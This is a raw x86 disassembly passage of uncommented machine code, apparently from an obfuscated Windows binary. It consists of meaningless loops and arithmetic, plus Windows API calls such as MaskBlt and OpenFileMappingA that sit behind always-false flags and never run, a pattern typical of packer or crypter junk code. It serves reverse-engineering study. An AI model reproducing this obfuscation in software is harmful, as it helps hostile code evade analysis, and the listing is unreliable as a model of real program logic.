dec eax
mov dword [ebp - 0xc4c], eax
jmp 0x44c4ee
mov dword [ebp - 0xac], 0xfcb50bf3
mov dword [ebp - 0x110], 0
jmp 0x44c58f
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 3
jge 0x44c5ab
mov eax, dword [ebp - 0x110]
mov dword [ebp + eax*4 - 0x2d80], 0xa8eac8b1
jmp 0x44c582
mov dword [ebp - 0x110], 0
jmp 0x44c5c4
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 2
jge 0x44c5e0
mov eax, dword [ebp - 0x110]
mov dword [ebp + eax*4 - 0x1fb8], 0xa7ef23e4
jmp 0x44c5b7
mov dword [ebp - 0xac], 2
jmp 0x44c5f9
mov eax, dword [ebp - 0xac]
dec eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0
jl 0x44c637
mov byte [ebp - 0x2a1], 0
movzx eax, byte [ebp - 0x2a1]
test eax, eax
je 0x44c623
push 0
push 0x123f
push 0
call dword [sym.imp.GDI32.dll_GetObjectW]
mov eax, dword [ebp - 0xac]
cmp dword [ebp + eax*4 - 0x2d80], 0
je 0x44c635
jmp 0x44c637
jmp 0x44c5ec
mov dword [ebp - 0xac], 0
jmp 0x44c650
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0x1b
je 0x44c8c3
mov dword [ebp - 0x1b2c], 0x2a1e
mov dword [ebp - 0xc7c], 0
mov dword [ebp - 0x2780], 0x996fd0fe
mov dword [ebp - 0x277c], 0x996fd0fe
mov dword [ebp - 0x2778], 0x996fd0fe
mov dword [ebp - 0x2774], 0x996fd0fe
mov dword [ebp - 0x914], 0
jmp 0x44c6b2
mov eax, dword [ebp - 0x914]
inc eax
mov dword [ebp - 0x914], eax
cmp dword [ebp - 0x914], 2
jge 0x44c6ce
mov eax, dword [ebp - 0x914]
mov dword [ebp + eax*4 - 0x265c], 0x38e
jmp 0x44c6a5
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xac]
cmp dword [ebp + eax - 0x2d80], ecx
je 0x44c6ee
mov dword [ebp - 0x1b1c], 1
jmp 0x44c6f5
and dword [ebp - 0x1b1c], 0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x265c], 1
jle 0x44c711
mov dword [ebp - 0x1b14], 1
jmp 0x44c718
and dword [ebp - 0x1b14], 0
cmp dword [ebp - 0x1b14], 0xf7f3
jle 0x44c730
mov dword [ebp - 0xc54], 1
jmp 0x44c737
and dword [ebp - 0xc54], 0
mov eax, dword [ebp - 0xc54]
inc eax
cmp dword [ebp - 0x1b1c], eax
jg 0x44c775
mov dword [ebp - 0x22e8], 0xe57f6cc9
mov dword [ebp - 0x2318], 6
mov eax, dword [ebp - 0x22e8]
mov dword [ebp - 0x2a04], eax
mov dword [ebp - 0x2318], 0x3191b495
jmp 0x44c8be
mov dword [ebp - 0x1b24], 0xffff
mov dword [ebp - 0xab8], 0xc39c9d94
mov dword [ebp - 0xc5c], 0
mov eax, dword [ebp - 0x1b24]
mov dword [ebp - 0xab8], eax
mov eax, dword [ebp - 0xab8]
push 4
pop ecx
shl ecx, 0
add eax, dword [ebp + ecx - 0x1fb8]
push 4
pop ecx
shl ecx, 0
imul eax, dword [ebp + ecx - 0x265c]
mov dword [ebp - 0xc5c], eax
mov eax, dword [ebp - 0xc5c]
mov ecx, dword [ebp - 0xac]
add ecx, dword [ebp - 0x1b24]
sub eax, ecx
cmp eax, dword [ebp - 0x1b2c]
je 0x44c7ee
mov dword [ebp - 0xc64], 1
jmp 0x44c7f5
and dword [ebp - 0xc64], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1fb8]
cmp dword [ebp - 0xc64], eax
jle 0x44c825
mov eax, 0x3b882169
test eax, eax
jne 0x44c825
cmp dword [ebp - 0xab8], 0
jne 0x44c825
and dword [ebp - 0xc6c], 0
jmp 0x44c82f
mov dword [ebp - 0xc6c], 1
mov eax, dword [ebp - 0x1b2c]
cmp dword [ebp - 0xc6c], eax
jg 0x44c849
mov dword [ebp - 0x1b34], 1
jmp 0x44c850
and dword [ebp - 0x1b34], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1fb8]
cmp dword [ebp - 0x1b34], eax
jle 0x44c871
mov dword [ebp - 0xc74], 1
jmp 0x44c878
and dword [ebp - 0xc74], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1fb8]
cmp dword [ebp - 0xc74], eax
jle 0x44c899
mov dword [ebp - 0x1b3c], 1
jmp 0x44c8a0
and dword [ebp - 0x1b3c], 0
mov eax, dword [ebp - 0x1b3c]
mov dword [ebp - 0xc7c], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xc7c]
mov dword [ebp + eax - 0x2780], ecx
jmp 0x44c643
mov dword [ebp - 0x93c], 0
mov dword [ebp - 0x91c], 0
jmp 0x44c8e6
mov eax, dword [ebp - 0x91c]
inc eax
mov dword [ebp - 0x91c], eax
cmp dword [ebp - 0x91c], 2
jge 0x44c902
mov eax, dword [ebp - 0x91c]
mov dword [ebp + eax*4 - 0x2684], 0
jmp 0x44c8d9
mov dword [ebp - 0x93c], 1
jmp 0x44c91b
mov eax, dword [ebp - 0x93c]
dec eax
mov dword [ebp - 0x93c], eax
cmp dword [ebp - 0x93c], 0
jl 0x44cb55
mov dword [ebp - 0x1c8], 0xfffffff9
mov dword [ebp - 0x95c], 0xffffffff
mov dword [ebp - 0x944], 0
jmp 0x44c955
mov eax, dword [ebp - 0x944]
inc eax
mov dword [ebp - 0x944], eax
cmp dword [ebp - 0x944], 2
jge 0x44c971
mov eax, dword [ebp - 0x944]
mov dword [ebp + eax*4 - 0x31f0], 0xfffffff6
jmp 0x44c948
mov dword [ebp - 0x1c8], 0
jmp 0x44c98a
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 1
jg 0x44caf4
mov dword [ebp - 0x2a0c], 0xf4ffcf33
mov dword [ebp - 0x2a14], 0
mov dword [ebp - 0x2a1c], 1
mov dword [ebp - 0x2a24], 9
mov dword [ebp - 0x2a2c], 0x426a760
mov dword [ebp - 0x2a34], 0x94abc248
mov dword [ebp - 0xc84], 0xb8ea
mov dword [ebp - 0x94c], 0
jmp 0x44c9f6
mov eax, dword [ebp - 0x94c]
inc eax
mov dword [ebp - 0x94c], eax
cmp dword [ebp - 0x94c], 3
jge 0x44ca12
mov eax, dword [ebp - 0x94c]
mov dword [ebp + eax*4 - 0x25e8], 0xfffffff9
jmp 0x44c9e9
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x25e8], 0
jmp 0x44ca40
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x25e8]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x25e8], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x25e8], 1
jg 0x44caef
mov dword [ebp - 0x2a3c], 0xfffffffa
mov dword [ebp - 0x2a44], 0xd0b5486b
mov dword [ebp - 0x2a4c], 0xfffffffc
mov dword [ebp - 0x954], 0
jmp 0x44ca8b
mov eax, dword [ebp - 0x954]
inc eax
mov dword [ebp - 0x954], eax
cmp dword [ebp - 0x954], 3
jge 0x44caa7
mov eax, dword [ebp - 0x954]
mov dword [ebp + eax*4 - 0x333c], 0x6c7f05f4
jmp 0x44ca7e
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2684], 4
ja 0x44cac3
mov dword [ebp - 0x1b44], 1
jmp 0x44caca
and dword [ebp - 0x1b44], 0
mov eax, dword [ebp - 0x1c8]
mov ecx, dword [ebp - 0x1b44]
mov dword [ebp + eax*4 - 0x2684], ecx
mov eax, dword [ebp - 0xc84]
dec eax
mov dword [ebp - 0xc84], eax
jmp 0x44ca25
jmp 0x44c97d
mov dword [ebp - 0x95c], 0
jmp 0x44cb0d
mov eax, dword [ebp - 0x95c]
dec eax
mov dword [ebp - 0x95c], eax
cmp dword [ebp - 0x95c], 0xffffffe3
jl 0x44cb50
mov dword [ebp - 0x1c8], 0x15
jmp 0x44cb2f
mov eax, dword [ebp - 0x1c8]
dec eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 0xfffffff1
jg 0x44cb4e
mov dword [ebp - 0x2320], 0xffffffff
mov dword [ebp - 0x2320], 0x7b88cdf8
jmp 0x44cb22
jmp 0x44cb00
jmp 0x44c90e
mov byte [ebp - 0x2a3], 0
movzx eax, byte [ebp - 0x2a3]
test eax, eax
je 0x44cbb8
push 0x1292
push 0x256e
push 0x1c04
push 0
push 0x2412
push 0x243b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x1d58
push 0x18ba
push 0xebe
push 0xae3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MaskBlt]
mov dword [ebp - 0x118], 0
jmp 0x44cbd1
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 2
jge 0x44cbed
mov eax, dword [ebp - 0x118]
mov dword [ebp + eax*4 - 0x5bc], 0xe01b
jmp 0x44cbc4
mov dword [ebp - 0x994], 0xd5e48d32
mov byte [ebp - 0x2a5], 0
movzx eax, byte [ebp - 0x2a5]
test eax, eax
je 0x44cc22
push 0xf42
push 0xa0c
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CreateCaret]
mov dword [ebp - 0x994], 0xfffffff2
jmp 0x44cc3b
mov eax, dword [ebp - 0x994]
inc eax
mov dword [ebp - 0x994], eax
cmp dword [ebp - 0x994], 9
jg 0x44cc98
mov dword [ebp - 0x92c], 0
mov dword [ebp - 0x92c], 0xffffffe6
jmp 0x44cc67
mov eax, dword [ebp - 0x92c]
inc eax
mov dword [ebp - 0x92c], eax
cmp dword [ebp - 0x92c], 0x19
jge 0x44cc96
mov byte [ebp - 0x2a7], 0
movzx eax, byte [ebp - 0x2a7]
test eax, eax
je 0x44cc94
push 0x206f
push 0x1bd
push 0
call dword [sym.imp.USER32.dll_EnableMenuItem]
jmp 0x44cc5a
jmp 0x44cc2e
mov dword [ebp - 0x118], 0
jmp 0x44ccb1
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 1
jge 0x44cccd
mov eax, dword [ebp - 0x118]
mov dword [ebp + eax*4 - 0x424], 0x6fa66fa4
jmp 0x44cca4
mov dword [ebp - 0x2a54], 0x8552ad1
mov dword [ebp - 0x5d8], 0
jmp 0x44ccf0
mov eax, dword [ebp - 0x5d8]
inc eax
mov dword [ebp - 0x5d8], eax
cmp dword [ebp - 0x5d8], 3
jge 0x44cd0c
mov eax, dword [ebp - 0x5d8]
mov dword [ebp + eax*4 - 0xb80], 0x7ddc85f7
jmp 0x44cce3
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xb80], 0xfffffff8
jmp 0x44cd37
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xb80]
dec eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0xb80], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xb80], 0xffffffe8
jl 0x44d0e2
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x1b84], 0xcc167df2
mov dword [ebp - 0x7a4], 0
jmp 0x44cd77
mov eax, dword [ebp - 0x7a4]
inc eax
mov dword [ebp - 0x7a4], eax
cmp dword [ebp - 0x7a4], 1
jge 0x44cd93
mov eax, dword [ebp - 0x7a4]
mov dword [ebp + eax*4 - 0xcac], 1
jmp 0x44cd6a
mov dword [ebp - 0x248], 0
jmp 0x44cdac
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0x19
je 0x44d0dd
mov dword [ebp - 0x1b7c], 0x8d19c921
mov dword [ebp - 0x1b5c], 7
mov dword [ebp - 0x2328], 0x47d17017
mov dword [ebp - 0x2330], 0x90ef874a
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xcac], 0x1462ccd2
cmp dword [ebp - 0x1b7c], 0x1462ccd2
jl 0x44ce0a
mov dword [ebp - 0x1b4c], 1
jmp 0x44ce11
and dword [ebp - 0x1b4c], 0
mov eax, dword [ebp - 0x248]
cmp dword [ebp - 0x1b4c], eax
jne 0x44ce2b
mov dword [ebp - 0xc8c], 1
jmp 0x44ce32
and dword [ebp - 0xc8c], 0
mov eax, dword [ebp - 0x248]
cmp dword [ebp - 0xc8c], eax
jg 0x44ce4c
mov dword [ebp - 0x1b54], 1
jmp 0x44ce53
and dword [ebp - 0x1b54], 0
cmp dword [ebp - 0x1b54], 0xffffffff
jle 0x44ce68
mov dword [ebp - 0xc94], 1
jmp 0x44ce6f
and dword [ebp - 0xc94], 0
mov eax, dword [ebp - 0xc94]
mov dword [ebp - 0x1b5c], eax
mov eax, dword [ebp - 0x1b5c]
mov dword [ebp - 0x2a5c], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb80]
mov dword [ebp - 0x2a64], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xb80]
cmp dword [ebp - 0x248], eax
jg 0x44ceba
mov dword [ebp - 0xc9c], 1
jmp 0x44cec1
and dword [ebp - 0xc9c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb80]
cmp dword [ebp - 0xc9c], eax
je 0x44cee2
mov dword [ebp - 0x1b64], 1
jmp 0x44cee9
and dword [ebp - 0x1b64], 0
mov eax, dword [ebp - 0x2328]
add eax, dword [ebp - 0x1b64]
cmp eax, 0xab8d
jle 0x44cf08
mov dword [ebp - 0xca4], 1
jmp 0x44cf0f
and dword [ebp - 0xca4], 0
cmp dword [ebp - 0xca4], 0xfffffffe
jge 0x44cf24
mov dword [ebp - 0x1b6c], 1
jmp 0x44cf2b
and dword [ebp - 0x1b6c], 0
mov eax, dword [ebp - 0x1b6c]
mov dword [ebp - 0x2330], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0xb80]
cmp dword [ebp + eax - 0xcac], ecx
jle 0x44cf60
xor eax, eax
inc eax
jne 0x44cf60
and dword [ebp - 0x1b74], 0
jmp 0x44cf6a
mov dword [ebp - 0x1b74], 1
mov eax, dword [ebp - 0x1b74]
sub eax, dword [ebp - 0x248]
je 0x44cf8d
mov eax, 0xc0f1
test eax, eax
je 0x44cf8d
mov dword [ebp - 0xcb4], 1
jmp 0x44cf94
and dword [ebp - 0xcb4], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xb80]
cmp dword [ebp - 0xcb4], eax
jge 0x44cfb4
mov dword [ebp - 0xcbc], 1
jmp 0x44cfbb
and dword [ebp - 0xcbc], 0
mov eax, dword [ebp - 0x1b7c]
add eax, dword [ebp - 0xcbc]
je 0x44cfde
cmp dword [ebp - 0x1b84], 0
je 0x44cfde
mov dword [ebp - 0xcc4], 1
jmp 0x44cfe5
and dword [ebp - 0xcc4], 0
mov eax, dword [ebp - 0x1b84]
cmp dword [ebp - 0xcc4], eax
je 0x44cfff
mov dword [ebp - 0x1b8c], 1
jmp 0x44d006
and dword [ebp - 0x1b8c], 0
mov eax, dword [ebp - 0x1b8c]
inc eax
cmp eax, 0xffff
jae 0x44d020
mov dword [ebp - 0xccc], 1
jmp 0x44d027
and dword [ebp - 0xccc], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xb80]
cmp dword [ebp - 0xccc], eax
jg 0x44d088
xor eax, eax
je 0x44d088
mov dword [ebp - 0x5e0], 0
jmp 0x44d058
mov eax, dword [ebp - 0x5e0]
inc eax
mov dword [ebp - 0x5e0], eax
cmp dword [ebp - 0x5e0], 2
jge 0x44d074
mov eax, dword [ebp - 0x5e0]
mov dword [ebp + eax*4 - 0x2af0], 0x406c49a7
jmp 0x44d04b
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2af0], 0
je 0x44d086
jmp 0x44d0dd
jmp 0x44d0d8
mov dword [ebp - 0x7ac], 0
jmp 0x44d0a1
mov eax, dword [ebp - 0x7ac]
inc eax
mov dword [ebp - 0x7ac], eax
cmp dword [ebp - 0x7ac], 3
jge 0x44d0bd
mov eax, dword [ebp - 0x7ac]
mov dword [ebp + eax*4 - 0x2d90], 7
jmp 0x44d094
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2d90]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x2d90], eax
jmp 0x44cd9f
jmp 0x44cd1e
cmp dword [ebp - 0xb4c], 0
je 0x44d10a
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x5bc], 0xd8a9
jne 0x44d10a
mov dword [ebp - 0xcdc], 1
jmp 0x44d111
and dword [ebp - 0xcdc], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x5bc], 0xec4f3f7e
je 0x44d130
mov dword [ebp - 0x1b94], 1
jmp 0x44d137
and dword [ebp - 0x1b94], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5bc]
cmp dword [ebp - 0x1b94], eax
jne 0x44d158
mov dword [ebp - 0xcd4], 1
jmp 0x44d15f
and dword [ebp - 0xcd4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5bc]
cmp dword [ebp - 0xcd4], eax
jne 0x44d180
mov dword [ebp - 0x1b9c], 1
jmp 0x44d187
and dword [ebp - 0x1b9c], 0
mov eax, dword [ebp - 0x2338]
mov ecx, dword [ebp - 0x1b9c]
lea eax, [ecx + eax - 1]
cmp eax, 0xfdb7
jl 0x44d1aa
mov dword [ebp - 0x1ba4], 1
jmp 0x44d1b1
and dword [ebp - 0x1ba4], 0
mov eax, dword [ebp - 0xcdc]
cmp eax, dword [ebp - 0x1ba4]
jg 0x44d1cb
mov dword [ebp - 0xce4], 1
jmp 0x44d1d2
and dword [ebp - 0xce4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5bc]
cmp eax, dword [ebp - 0xce4]
je 0x44d1f3
mov dword [ebp - 0x1bac], 1
jmp 0x44d1fa
and dword [ebp - 0x1bac], 0
cmp dword [ebp - 0x1bac], 0x7d92
jge 0x44d212
mov dword [ebp - 0xcec], 1
jmp 0x44d219
and dword [ebp - 0xcec], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5bc]
cmp dword [ebp - 0xcec], eax
jle 0x450188
mov dword [ebp - 0xcc], 4
mov dword [ebp - 0x2d4], 0
mov dword [ebp - 0x414], 0xffffffff
mov dword [ebp - 0xd34], 0x5c875ff9
mov dword [ebp - 0x5e8], 0
jmp 0x44d273
mov eax, dword [ebp - 0x5e8]
inc eax
mov dword [ebp - 0x5e8], eax
cmp dword [ebp - 0x5e8], 1
jge 0x44d28f
mov eax, dword [ebp - 0x5e8]
mov dword [ebp + eax*4 - 0xac8], 1
jmp 0x44d266
mov dword [ebp - 0xcc], 0
jmp 0x44d2a8
mov eax, dword [ebp - 0xcc]
dec eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0
jl 0x44d43c
mov dword [ebp - 0x4b8], 1
mov dword [ebp - 0x2348], 0xffffffff
mov eax, dword [ebp - 0x2d4]
cmp dword [ebp - 0x4b8], eax
jl 0x44d2e3
mov dword [ebp - 0x1bb4], 1
jmp 0x44d2ea
and dword [ebp - 0x1bb4], 0
mov eax, dword [ebp - 0x4b8]
cmp eax, dword [ebp - 0x1bb4]
jl 0x44d304
mov dword [ebp - 0xcf4], 1
jmp 0x44d30b
and dword [ebp - 0xcf4], 0
mov eax, dword [ebp - 0xcf4]
add eax, 0x874d
cmp eax, 0xfffffff6
je 0x44d327
mov dword [ebp - 0x1bbc], 1
jmp 0x44d32e
and dword [ebp - 0x1bbc], 0
mov eax, dword [ebp - 0x2d4]
sub eax, dword [ebp - 0x1bbc]
cmp eax, dword [ebp - 0x4b8]
jl 0x44d34e
mov dword [ebp - 0xcfc], 1
jmp 0x44d355
and dword [ebp - 0xcfc], 0
mov eax, dword [ebp - 0x4b8]
add eax, dword [ebp - 0xcfc]
cmp eax, dword [ebp - 0x4b8]
jne 0x44d375
mov dword [ebp - 0x1bc4], 1
jmp 0x44d37c
and dword [ebp - 0x1bc4], 0
cmp dword [ebp - 0x1bc4], 0x2e77e815
jl 0x44d394
mov dword [ebp - 0xd04], 1
jmp 0x44d39b
and dword [ebp - 0xd04], 0
mov eax, dword [ebp - 0xcc]
mov dword [ebp + eax*4 - 0xac8], 0
cmp dword [ebp - 0xd04], 0
jne 0x44d3c7
cmp dword [ebp - 0x414], 0
jne 0x44d3c7
and dword [ebp - 0x1bcc], 0
jmp 0x44d3d1
mov dword [ebp - 0x1bcc], 1
mov eax, dword [ebp - 0x4b8]
cmp dword [ebp - 0x1bcc], eax
jg 0x44d3eb
mov dword [ebp - 0x2340], 1
jmp 0x44d3f2
and dword [ebp - 0x2340], 0
mov eax, dword [ebp - 0x2348]
mov dword [ebp - 0x2a6c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xac8]
sub eax, 0x8a69f64
mov dword [ebp - 0x2d4], eax
mov byte [ebp - 0x2a9], 0
movzx eax, byte [ebp - 0x2a9]
test eax, eax
je 0x44d437
push 0
push 0
push 0x17ed
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
jmp 0x44d29b
mov dword [ebp - 0x414], 0
jmp 0x44d455
mov eax, dword [ebp - 0x414]
dec eax
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 0xffffffe3
jne 0x44d6c0
mov dword [ebp - 0x2dc], 0xc1676565
mov dword [ebp - 0xcc], 0
jmp 0x44d485
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0x10
je 0x44d6af
mov dword [ebp - 0x7b4], 2
mov dword [ebp - 0xac0], 0xffff
mov dword [ebp - 0xd2c], 0
mov dword [ebp - 0x2358], 0x2aec7f51
mov byte [ebp - 0x2ab], 0
movzx eax, byte [ebp - 0x2ab]
test eax, eax
je 0x44d4dd
push 0
push 0
push 0xf4f
push 0
call dword [sym.imp.USER32.dll_AppendMenuA]
cmp dword [ebp - 0x2dc], 0
jne 0x44d65e
cmp dword [ebp - 0x7b4], 0xaafa0b2b
jae 0x44d502
mov dword [ebp - 0xd0c], 1
jmp 0x44d509
and dword [ebp - 0xd0c], 0
mov eax, dword [ebp - 0xd0c]
neg eax
je 0x44d54d
imul eax, dword [ebp - 0xac0], 0x9139
cmp eax, dword [ebp - 0x2dc]
jne 0x44d531
mov dword [ebp - 0x2350], 1
jmp 0x44d538
and dword [ebp - 0x2350], 0
cmp dword [ebp - 0x7b4], 1
je 0x44d54d
mov dword [ebp - 0x1bd4], 1
jmp 0x44d554
and dword [ebp - 0x1bd4], 0
mov eax, dword [ebp - 0xac0]
cmp dword [ebp - 0x1bd4], eax
jge 0x44d56e
mov dword [ebp - 0xd14], 1
jmp 0x44d575
and dword [ebp - 0xd14], 0
mov eax, dword [ebp - 0x2dc]
cmp dword [ebp - 0xd14], eax
je 0x44d58f
mov dword [ebp - 0x1bdc], 1
jmp 0x44d596
and dword [ebp - 0x1bdc], 0
mov eax, dword [ebp - 0xac0]
cmp dword [ebp - 0x1bdc], eax
jge 0x44d5ad
cmp dword [ebp - 0x2dc], 0
je 0x44d5c2
cmp dword [ebp - 0x7b4], 0
je 0x44d5c2
mov dword [ebp - 0xd1c], 1
jmp 0x44d5c9
and dword [ebp - 0xd1c], 0
mov eax, dword [ebp - 0xcc]
cmp dword [ebp - 0xd1c], eax
jl 0x44d5e3
mov dword [ebp - 0x1be4], 1
jmp 0x44d5ea
and dword [ebp - 0x1be4], 0
mov eax, dword [ebp - 0xcc]
imul eax, dword [ebp - 0x1be4]
cmp dword [ebp - 0x7b4], eax
jg 0x44d60b
mov dword [ebp - 0xd24], 1
jmp 0x44d612
and dword [ebp - 0xd24], 0
mov eax, dword [ebp - 0xd2c]
add eax, dword [ebp - 0xd24]
add eax, dword [ebp - 0x2358]
cmp eax, dword [ebp - 0x2d4]
jg 0x44d638
mov dword [ebp - 0x1bec], 1
jmp 0x44d63f
and dword [ebp - 0x1bec], 0
mov eax, dword [ebp - 0x1bec]
mov dword [ebp - 0x2d4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xac8]
cmp dword [ebp - 0x2d4], eax
mov eax, dword [ebp - 0x414]
mov dword [ebp - 0x2a74], eax
mov eax, dword [ebp - 0xd34]
mov dword [ebp - 0x2a7c], eax
mov eax, dword [ebp - 0x2d4]
imul eax, dword [ebp - 0x2dc]
cmp eax, dword [ebp - 0xd2c]
jge 0x44d697
mov dword [ebp - 0x1bf4], 1
jmp 0x44d69e
and dword [ebp - 0x1bf4], 0
mov eax, dword [ebp - 0x1bf4]
mov dword [ebp - 0x2dc], eax
jmp 0x44d478
mov eax, dword [ebp - 0x2dc]
mov dword [ebp - 0xd34], eax
jmp 0x44d448
mov dword [ebp - 0x2a84], 0
mov dword [ebp - 0x218], 0x9b55bb2c
mov dword [ebp - 0x5f0], 0
jmp 0x44d6ed
mov eax, dword [ebp - 0x5f0]
inc eax
mov dword [ebp - 0x5f0], eax
cmp dword [ebp - 0x5f0], 3
jge 0x44d709
mov eax, dword [ebp - 0x5f0]
mov dword [ebp + eax*4 - 0x3104], 0x9351
jmp 0x44d6e0
mov dword [ebp - 0x218], 0
jmp 0x44d722
mov eax, dword [ebp - 0x218]
inc eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0x17
je 0x44d751
mov byte [ebp - 0x2ad], 0
movzx eax, byte [ebp - 0x2ad]
test eax, eax
je 0x44d74f
push 0x1422
push 0x33e
push 0
call dword [sym.imp.USER32.dll_CheckMenuItem]
jmp 0x44d715
mov dword [ebp - 0x218], 2
jmp 0x44d76a
mov eax, dword [ebp - 0x218]
dec eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0
jl 0x44d7ff
mov dword [ebp - 0xec], 1
mov dword [ebp - 0xec], 2
jmp 0x44d79a
mov eax, dword [ebp - 0xec]
dec eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jl 0x44d7b7
mov eax, dword [ebp - 0xec]
cmp dword [ebp + eax*4 - 0x3104], 0
je 0x44d7b5
jmp 0x44d7b7
jmp 0x44d78d
mov dword [ebp - 0xec], 2
jmp 0x44d7d0
mov eax, dword [ebp - 0xec]
dec eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jl 0x44d7fa
mov byte [ebp - 0x2af], 0
movzx eax, byte [ebp - 0x2af]
test eax, eax
je 0x44d7f8
push 0x9cb
push 0
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
jmp 0x44d7c3
jmp 0x44d75d
mov dword [ebp - 0x2a8c], 0x446cd5fe
mov dword [ebp - 0x5f8], 0xf6af1124
mov dword [ebp - 0x2448], 0xffff
mov dword [ebp - 0x7bc], 0
jmp 0x44d836
mov eax, dword [ebp - 0x7bc]
inc eax
mov dword [ebp - 0x7bc], eax
cmp dword [ebp - 0x7bc], 3
jge 0x44d852
mov eax, dword [ebp - 0x7bc]
mov dword [ebp + eax*4 - 0x3110], 0xa75c19c5
jmp 0x44d829
mov dword [ebp - 0x5f8], 0
jmp 0x44d86b
mov eax, dword [ebp - 0x5f8]
inc eax
mov dword [ebp - 0x5f8], eax
cmp dword [ebp - 0x5f8], 0x1a
jg 0x44d8c0
mov dword [ebp - 0x52c], 0x46721591
mov dword [ebp - 0x52c], 2
jmp 0x44d897
mov eax, dword [ebp - 0x52c]
dec eax
mov dword [ebp - 0x52c], eax
cmp dword [ebp - 0x52c], 0
jl 0x44d8b3
mov eax, dword [ebp - 0x52c]
mov dword [ebp + eax*4 - 0x3110], 9
jmp 0x44d88a
cmp dword [ebp - 0x2448], 0
je 0x44d8be
jmp 0x44d8c0
jmp 0x44d85e
mov dword [ebp - 0x3c], 1
mov dword [ebp - 0x534], 0xfffffff7
mov dword [ebp - 0x190], 0
jmp 0x44d8ea
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 3
jge 0x44d906
mov eax, dword [ebp - 0x190]
mov dword [ebp + eax*4 - 0x2600], 0xffffffff
jmp 0x44d8dd
mov dword [ebp - 0x190], 0
jmp 0x44d91f
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 1
jge 0x44d93b
mov eax, dword [ebp - 0x190]
mov dword [ebp + eax*4 - 0x2458], 1
jmp 0x44d912
mov dword [ebp - 0x534], 0
jmp 0x44d954
mov eax, dword [ebp - 0x534]
inc eax
mov dword [ebp - 0x534], eax
cmp dword [ebp - 0x534], 0x1a
jle 0x44dace
mov dword [ebp - 0x53c], 0x39ed
mov dword [ebp - 0x1c04], 0xd228
mov dword [ebp - 0xd44], 0xffffffff
mov dword [ebp - 0x2468], 0xd50c8576
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x2600], 0
je 0x44da10
imul eax, dword [ebp - 0x53c], 0
cmp eax, dword [ebp - 0x53c]
